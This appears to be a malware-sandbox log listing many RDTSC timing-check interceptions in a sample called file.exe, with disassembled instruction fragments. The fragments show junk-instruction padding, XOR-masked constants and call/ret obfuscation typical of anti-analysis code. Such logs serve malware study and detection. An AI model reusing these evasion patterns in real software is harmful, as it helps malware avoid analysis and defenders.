Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4BFE second address: 8F4C11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jbe 00007FB154CDAD66h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4C11 second address: 8F4C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4D6C second address: 8F4D76 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB154CDAD6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4F15 second address: 8F4F34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FB1550A1F28h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4F34 second address: 8F4F5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB154CDAD77h 0x00000010 push ecx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4F5B second address: 8F4F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4F60 second address: 8F4F72 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FB154CDAD66h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4F72 second address: 8F4F76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5379 second address: 8F537D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F80B4 second address: 8F80BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F80BC second address: 8F80ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB154CDAD66h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f jmp 00007FB154CDAD79h 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 jno 00007FB154CDAD66h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F80ED second address: 8F8172 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB1550A1F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FB1550A1F18h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D2BBAh] 0x0000002c push 00000000h 0x0000002e mov edx, dword ptr [ebp+122D3766h] 0x00000034 push 52A5B93Eh 0x00000039 push ebx 0x0000003a jmp 00007FB1550A1F1Ch 0x0000003f pop ebx 0x00000040 xor dword ptr [esp], 52A5B9BEh 0x00000047 mov dword ptr [ebp+122D1BEEh], edx 0x0000004d push 00000003h 0x0000004f mov cx, dx 0x00000052 push 00000000h 0x00000054 or edi, dword ptr [ebp+122D3656h] 0x0000005a push 00000003h 0x0000005c or dword ptr [ebp+122D1EF3h], edx 0x00000062 push C803D215h 0x00000067 push eax 0x00000068 push edx 0x00000069 jnc 00007FB1550A1F1Ch 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F8172 second address: 8F81A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB154CDAD70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 0803D215h 0x00000010 movsx ecx, si 0x00000013 lea ebx, dword ptr [ebp+12449FA7h] 0x00000019 add cx, 73BCh 0x0000001e xchg eax, ebx 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F81A1 second address: 8F81B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB1550A1F1Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F8263 second address: 8F829C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB154CDAD73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c sbb ch, FFFFFFC7h 0x0000000f push 00000000h 0x00000011 add dword ptr [ebp+122D1D52h], edi 0x00000017 push 47482EF7h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FB154CDAD6Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F829C second address: 8F8303 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB1550A1F1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 47482E77h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FB1550A1F18h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b sub dword ptr [ebp+122D1D6Eh], edi 0x00000031 push 00000003h 0x00000033 mov dx, 2C2Fh 0x00000037 push 00000000h 0x00000039 movsx esi, bx 0x0000003c push 00000003h 0x0000003e add dword ptr [ebp+122D28A9h], eax 0x00000044 call 00007FB1550A1F19h 0x00000049 pushad 0x0000004a pushad 0x0000004b pushad 0x0000004c popad 0x0000004d pushad 0x0000004e popad 0x0000004f popad 0x00000050 pushad 0x00000051 jng 00007FB1550A1F16h 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F8303 second address: 8F8327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FB154CDAD77h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F8327 second address: 8F832C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F832C second address: 8F83AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push edx 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 pop edx 0x00000011 mov eax, dword ptr [eax] 0x00000013 jmp 00007FB154CDAD6Dh 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c jnc 00007FB154CDAD7Eh 0x00000022 pop eax 0x00000023 push 00000000h 0x00000025 push ecx 0x00000026 call 00007FB154CDAD68h 0x0000002b pop ecx 0x0000002c mov dword ptr [esp+04h], ecx 0x00000030 add dword ptr [esp+04h], 0000001Bh 0x00000038 inc ecx 0x00000039 push ecx 0x0000003a ret 0x0000003b pop ecx 0x0000003c ret 0x0000003d mov edi, dword ptr [ebp+122D3476h] 0x00000043 lea ebx, dword ptr [ebp+12449FB0h] 0x00000049 or dword ptr [ebp+122D26CEh], edx 0x0000004f xchg eax, ebx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F83AA second address: 8F83B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F83B1 second address: 8F83B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F83B7 second address: 8F83BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F83BB second address: 8F83BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F83BF second address: 8F83DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FB1550A1F20h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F83DD second address: 8F83E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F848B second address: 8F8495 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB1550A1F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F8495 second address: 8F84CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007FB154CDAD73h 0x00000010 push 00000000h 0x00000012 mov ecx, esi 0x00000014 push 5212B398h 0x00000019 jng 00007FB154CDAD74h 0x0000001f push eax 0x00000020 push edx 0x00000021 jc 00007FB154CDAD66h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F84CA second address: 8F8502 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 5212B318h 0x0000000d mov cx, 82E4h 0x00000011 push 00000003h 0x00000013 or edi, 6DC18FD6h 0x00000019 sub dword ptr [ebp+122D17A5h], ebx 0x0000001f push 00000000h 0x00000021 js 00007FB1550A1F16h 0x00000027 push 00000003h 0x00000029 call 00007FB1550A1F19h 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F8502 second address: 8F8506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F8506 second address: 8F850A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F850A second address: 8F8510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F8510 second address: 8F8529 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB1550A1F25h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F8529 second address: 8F85D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FB154CDAD73h 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jnc 00007FB154CDAD6Eh 0x0000001e mov eax, dword ptr [eax] 0x00000020 jnp 00007FB154CDAD6Eh 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a jmp 00007FB154CDAD77h 0x0000002f pop eax 0x00000030 mov dword ptr [ebp+122D1B9Ah], eax 0x00000036 mov ecx, dword ptr [ebp+122D340Ah] 0x0000003c lea ebx, dword ptr [ebp+12449FBBh] 0x00000042 push 00000000h 0x00000044 push edi 0x00000045 call 00007FB154CDAD68h 0x0000004a pop edi 0x0000004b mov dword ptr [esp+04h], edi 0x0000004f add dword ptr [esp+04h], 00000015h 0x00000057 inc edi 0x00000058 push edi 0x00000059 ret 0x0000005a pop edi 0x0000005b ret 0x0000005c and di, 2E81h 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007FB154CDAD70h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916E04 second address: 916E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916E08 second address: 916E36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB154CDAD73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FB154CDAD74h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917591 second address: 917595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917595 second address: 91759B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9176D0 second address: 9176E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB1550A1F21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9176E5 second address: 9176E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9178AB second address: 9178AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9178AF second address: 9178B9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB154CDAD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9178B9 second address: 9178D7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FB1550A1F29h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9178D7 second address: 917903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d jng 00007FB154CDAD66h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB154CDAD74h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917903 second address: 917907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917907 second address: 91790B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917CD7 second address: 917CFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB1550A1F25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FB1550A1F1Eh 0x0000000f jns 00007FB1550A1F16h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917CFE second address: 917D13 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB154CDAD68h 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917D13 second address: 917D17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90FC29 second address: 90FC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90FC2F second address: 90FC54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push esi 0x00000008 jmp 00007FB1550A1F1Ah 0x0000000d jmp 00007FB1550A1F1Dh 0x00000012 pop esi 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9180EC second address: 9180F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9180F8 second address: 918105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FB1550A1F16h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918105 second address: 918109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9187BB second address: 9187C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918D63 second address: 918D7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jnp 00007FB154CDAD66h 0x0000000f pop ebx 0x00000010 popad 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 922266 second address: 92226A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92226A second address: 922270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9223E5 second address: 9223F3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB1550A1F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E13AE second address: 8E13B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E13B2 second address: 8E13B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E13B6 second address: 8E13DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FB154CDAD73h 0x0000000e jnp 00007FB154CDAD66h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9257C3 second address: 9257CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925A66 second address: 925A6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925A6A second address: 925A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925BB9 second address: 925C05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB154CDAD6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FB154CDAD6Dh 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007FB154CDAD75h 0x00000016 popad 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b push esi 0x0000001c pop esi 0x0000001d pushad 0x0000001e popad 0x0000001f pop esi 0x00000020 push eax 0x00000021 push edx 0x00000022 jo 00007FB154CDAD66h 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925C05 second address: 925C11 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB1550A1F16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925ED5 second address: 925EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 pop ecx 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925EE1 second address: 925F03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB1550A1F20h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925F03 second address: 925F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92618F second address: 9261A2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FB1550A1F16h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9261A2 second address: 9261A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9261A6 second address: 9261C4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FB1550A1F1Bh 0x0000000c jp 00007FB1550A1F16h 0x00000012 pop eax 0x00000013 push esi 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9294E9 second address: 9294EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9294EF second address: 9294F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929D44 second address: 929D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929D48 second address: 929DD6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB1550A1F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FB1550A1F18h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov edi, edx 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007FB1550A1F18h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 00000015h 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 stc 0x00000045 cld 0x00000046 and esi, dword ptr [ebp+122D1B41h] 0x0000004c push 00000000h 0x0000004e mov si, ax 0x00000051 mov si, 2A69h 0x00000055 xchg eax, ebx 0x00000056 jo 00007FB1550A1F1Eh 0x0000005c jno 00007FB1550A1F18h 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 push esi 0x00000066 jmp 00007FB1550A1F28h 0x0000006b pop esi 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929DD6 second address: 929DDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A71F second address: 92A724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92AEF8 second address: 92AEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
